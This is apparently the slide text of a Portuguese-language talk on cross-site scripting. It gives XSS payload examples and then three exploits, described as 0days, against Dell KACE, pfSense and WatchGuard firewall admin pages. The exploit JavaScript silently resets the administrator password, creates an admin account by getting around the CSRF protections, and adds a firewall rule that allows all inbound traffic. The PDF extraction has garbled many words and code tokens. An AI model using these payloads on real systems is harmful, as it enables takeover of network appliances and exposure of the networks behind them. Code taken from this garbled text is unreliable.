Quem tem medo de XSS? William Costa
Composição do XSS. Os XSS s normalmente são divididos em 3 categorias Reflected XSS Stored XSS DOM Based XSS
Reflected XSS Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: hfp://www.vulneravel.com.br/nojcias/?jpo=r"><script>alert("reflected XSS")</script>
Stored XSS Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros Após adicionar o comentário qualquer pessoa que acesse o Forum recebem a tela
DOM XSS O DOM XSS é quando é inserido o payload dentro de uma variável ujlizada por um script Ex: Campos de interação em tempo real. <img src=search onerror=alert('dom_xss')>
O XSS aparece no top 10 do OWASP desde seu primeiro relatório. OWASP Top 10 2003 Top VulnerabiliIes in Web ApplicaIons A1 Unvalidated Parameters A2 Broken Access Control A3 Broken Account and Session Management A4 Cross- Site Scrip8ng (XSS) Flaws A5 Buffer Overflows A6 Command InjecIon Flaws A7 Error Handling Problems A8 Insecure Use of Cryptography A9 Remote AdministraIon Flaws A10 Web and ApplicaIon Server MisconfiguraIon
E após 10 Anos ele conjnua entre os 10 OWASP Top 10 2013 (New) A1 InjecIon A2 Broken AuthenIcaIon and Session Management A3 Cross- Site Scrip8ng (XSS) A4 Insecure Direct Object References A5 Security MisconfiguraIon A6 SensiIve Data Exposure A7 Missing FuncIon Level Access Control A8 Cross- Site Request Forgery (CSRF) A9 Using Known Vulnerable Components A10 Unvalidated Redirects and Forwards
Como são apresentadas as Falhas de XSS
Como normalmente é apresentando o Impacto do XSS
Como elas deferiam ser apresentadas
Como realmente são os Impactos dos XSS
Falha #1 Dell KACE V.6.3.113397 Falha na pagina de criação de um Ticket. Proteções: Flag HFpOnly Token CSRF URL Vulnerável: /adminui/bug_report.php?locajon=/adminui/jcket.php?id=20000<script>alert("xss");</ script>
Pagina onde ocorre a vulnerabilidade Alguma Ideia de como podemos ir além do alert?
Função Alvo
Exploit para alteração da senha do ADMIN. Um simples Iframe já nos possibilita a alteração de senha do usuário administrador. document.write('<iframe width=0 height=0 name="xss" src="hlps://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?id=10"> iframe>'); funcion append(senha) { window.frames['xss'].document.getelementsbyname('farray[password]')[0].value="senha123"; window.frames['xss'].document.getelementsbyname('farray[password_confirm]')[0].value="senha123"; window.frames['xss'].document.userform.submit(); } settimeout("append(\"imeout\")",2500);
Falha #2 PFSENSE V. 2.2.2 Falha na pagina de remoção de CapJves portais. Proteções: Token CSRF Checagem do Header HTTP_REFERER
Pagina onde ocorre a vulnerabilidade Alguma Ideia?
Função Alvo
Exploit para criação de Usuário de Administração. O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da mesma e envia o form para a pagina de criação de usuários bypassando a proteção do HTTP_REFERER document.write('<iframe width=1000 height=1000 name="xss"> </iframe>'); xss.document.write('<body><form id="csrf" acion="hlp://192.168.217.100/system_usermanager.php" method="post" name="csrf">'); xss.document.write('<input name=" csrf_magic" value=""</input>'); xss.document.write('<input name="utype" value="user"> </input>'); xss.document.write('<input name="usernamefld" value="teste"> </input>'); xss.document.write('<input name="passwordfld1" value="123456"> </input>'); xss.document.write('<input name="passwordfld2" value="123456"> </input>'); xss.document.write('<input name="groups[]" value="admins"> </input>'); xss.document.write('<input name="save" value="save"> </input>'); xss.document.write('</form>'); xss.document.write('</body>'); window.frames['xss'].document.getelementsbyname(' csrf_magic')[0].value=csrfmagictoken; window.frames['xss'].document.csrf.submit();
Falha #3 Firewall WatchGuard XTM V. 11.10.B473826 Falha na pagina de Gerenciamento de Access Point. Proteções: Token CSRF Flag HFpOnly
Pagina onde ocorre a vulnerabilidade URL Vulneravel: /network/controller/ap?acjon=add"</script><script>alert( XSS )</script> Ideias??
Função Alvo
Exploit. Vamos usar uma função JSON que envie via post todas informações necessárias para criação de uma poliica que permita tudo de fora para dentro da rede. $.ajax({ type: "POST", url: "hlps://10.0.1.1:8080/put_data/", data: '{" class ":"PageFirewallPolicyObj"," module ":"modules.scripts.page.firewall.pagefirewallpolicyobj","is_new":1,"pol": {" class ":"FirewallPolicySe~ngsObj"," module ":"modules.scripts.page.firewall.pagefirewallpolicyobj","name":"exploit- Rule","enabled":true,"descripIon":"Policy added on 2015-05- 005T18:02:38-03:00.","property": 0,"type":"Firewall","firewall":"Allowed","reject_acIon":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info": {"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"any- External","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"to_list": [{"type":0,"address":"any","interface":"any","user":"any","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"any- Trusted","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always On","app_acIon":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enabled": 0,"idle_Imeout":180,"idle_Imeout_enabled":0,"policy_sIcky_Imer":0,"policy_sIcky_Imer_enabled":0,"using_global_sIcky_se~ng": 1,"apply_one_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled": 0,"snmp_enabled":0,"noIficaIon_enabled":0,"noIficaIon_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_method": 0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":0,"pbr_enabled": 0,"pbr_interface":"","failover_enabled":0,"abs_policy_rouIng":[],"connecIon_rate_enabled":0,"connecIon_rate":100,"use_policy_based_icmp": 0,"pmtu_discovery":1,"Ime_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unreachable":1,"tag_list": []},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag": 1,"page_firewall_proxy_aciton_obj":null,"proxy_acIon_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user_hash": {},"proxy_policy_flag":false,"proxy_acions":[],"app_acions":[],"global_qos_enable":false,"port_protocol_se~ngs": [{"protocol":"any","port":""}],"proxy_type":"","muli_wan_enabled":0,"muliwan_algo":0,"ext_interfaces": [{"if_dev_name":"eth0","data":"external","name":"external","if_num":0}],"vif_list":[],"helper_in _list":[],"helper_tunnel_list":[],"helper_alias_list": [],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list": [],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list":[],"helper_slb_list": [],"traffic_mgmt_enabled":false,"helper_tm_acions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_acion_list": [],"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}', contenttype: "applicaion/json; charset=utf- 8", accept: "*/*", datatype: "json",
As 3 vulnerabilidades apresentadas aqui são 0days, Baixem e façam seus próprios testes J
<script>alert(string(/perguntas?/).substr(1,10) ); </script> william.costa arroba gmail.com